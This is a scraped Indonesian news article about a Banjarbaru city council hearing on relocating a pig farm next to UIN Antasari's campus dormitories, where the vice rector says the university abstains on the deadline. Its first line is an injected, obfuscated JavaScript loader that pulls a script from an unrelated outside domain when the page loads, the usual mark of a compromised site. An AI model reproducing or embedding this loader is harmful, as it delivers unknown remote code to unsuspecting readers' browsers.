(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pimpinan Universitas Islam Negeri (UIN) Antasari Banjarmasin memenuhi undangan rapat dengar pendapat (RDP) bersama Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Selasa (16/7/2024) siang.
RDP dipimpin Ketua DPRD Banjarbaru Fadliansyah bersama Komisi I dan III DPRD Kota Banjarbaru membahas tenggat waktu pembongkaran dan pemindahan peternakan babi di Jalan Pandarapan, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, yang bertetangga dengan kawasan Kampus II UIN Antasari Banjarmasin di Banjarbaru.
Setelah rapat dengar pendapat lintas komisi itu, Wakil Rektor UIN Antasari Banjarmasin, Dr Akhmad Sagir mengatakan, memilih mengikuti prosedur yang bergulir di Pemko Banjarbaru.
“Seperti yang ditegaskan Ketua DPRD bahwa terkait waktu kita tidak mengintervensi, terus berjalan sesuai dengan prosedur Pemko Banjarbaru, dalam artian UIN mengikuti Pemko Banjarbaru,” ujar Wakil Rektor UIN Antasari Banjarmasin ditemuai di aula Intan Utama Gedung DPRD Banjarbaru, Selasa (16/7/2024) siang.
Baca juga: Wacana Pemekaran RT di Kelurahan Guntung Manggis, Ini Respon Wali Kota Aditya
Dr Akhmad Sagir menegaskan, pihak UIN Antasari tidak menyetujui dan bukan tidak setuju dengan keputusan yang diambil untuk tenggat waktu pembongkaran pada Januari 2025 mendatang.
“Kita tidak menyetujui dan tidak setuju alias abstain dalam arti prosedural, kalau prosedur A kami ikut A,” jelas dia.
Dirinya menjelaskan, meski memiliki tupoksi sebagai Tridarma Perguruan Tinggi, namun tak bisa dipungkiri UIN Antasari memiliki fokus di bidang agama. Dimana dalam konteks agama Islam, kata dia, babi adalah hewan yang diharamkan.
“Mengingat dalam konteks agama Islam babi tidak boleh (Haram, red), sehingga kita mau merapat atau pun turun ke masyarakat tidak pas, karena apapun itu pastinya akan menyeret ke agama,” sambungnya.
Baca juga: Tradisi Bubur Asyura Melayu Banjar di Kuin Utara, Dimasak dari 41 Ragam Bahan
Alhasil, dari rapat dengar pendapat tidak ada kesepakatan mengenai ihwal waktu yang diberikan kepada peternak babi untuk pindah dari Jalan Pandarapan.
Dr Akhmad Sagir menjelaskan bahwa lokasi yang berdekatan dengan kandang babi itu ada dua buah bangunan asrama putra dan putri, dengan jumlah kamar total 640 mahasiswa dan mahasiswi.
“Kampus kita itu sudah ada di situ berdiri dengan mahasiswa berada di asrama putra dan putri. Jumlah mahasiswa dua asrama itu ada 640 orang, sudah berjalan sekitar satu tahun setengah,” terang Akhmad Sagir.
Selama satu tahun setengah berjalan, laporan-laporan terkait bau tidak sedap masuk dari mahasiswa dan mahasiswi yang berada di asrama tersebut.
Baca juga: Pengguna Kecubung Tak Bisa Dijerat Pidana, Ini Hasil Labfor Polda Kalsel
“Juga fakultas yang ada seperti Fakultas Dakwah mencium bau tidak sedap selama satu tahun setengah berjalan, maka kita melayangkan surat ke Pemko untuk meminta kebijakan tata ruang,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.